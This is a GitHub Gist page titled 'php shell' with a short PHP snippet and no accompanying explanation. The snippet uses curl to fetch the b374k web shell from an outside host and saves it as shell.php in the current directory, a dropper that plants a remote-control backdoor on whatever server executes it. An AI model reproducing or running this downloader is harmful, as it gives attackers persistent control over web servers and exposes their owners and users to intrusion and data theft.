Skip to content

Instantly share code, notes, and snippets.

@jekkos
Created December 30, 2014 15:39
Show Gist options
  • Save jekkos/aac8115b42540a65701a to your computer and use it in GitHub Desktop.
Save jekkos/aac8115b42540a65701a to your computer and use it in GitHub Desktop.
php shell
$source = "http://b374k-shell.googlecode.com/files/b374k-2.8.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $source);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSLVERSION,3);
$data = curl_exec ($ch);
$error = curl_error($ch);
curl_close ($ch);
$destination = "./shell.php";
$file = fopen($destination, "w+");
fputs($file, $data);
fclose($file);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment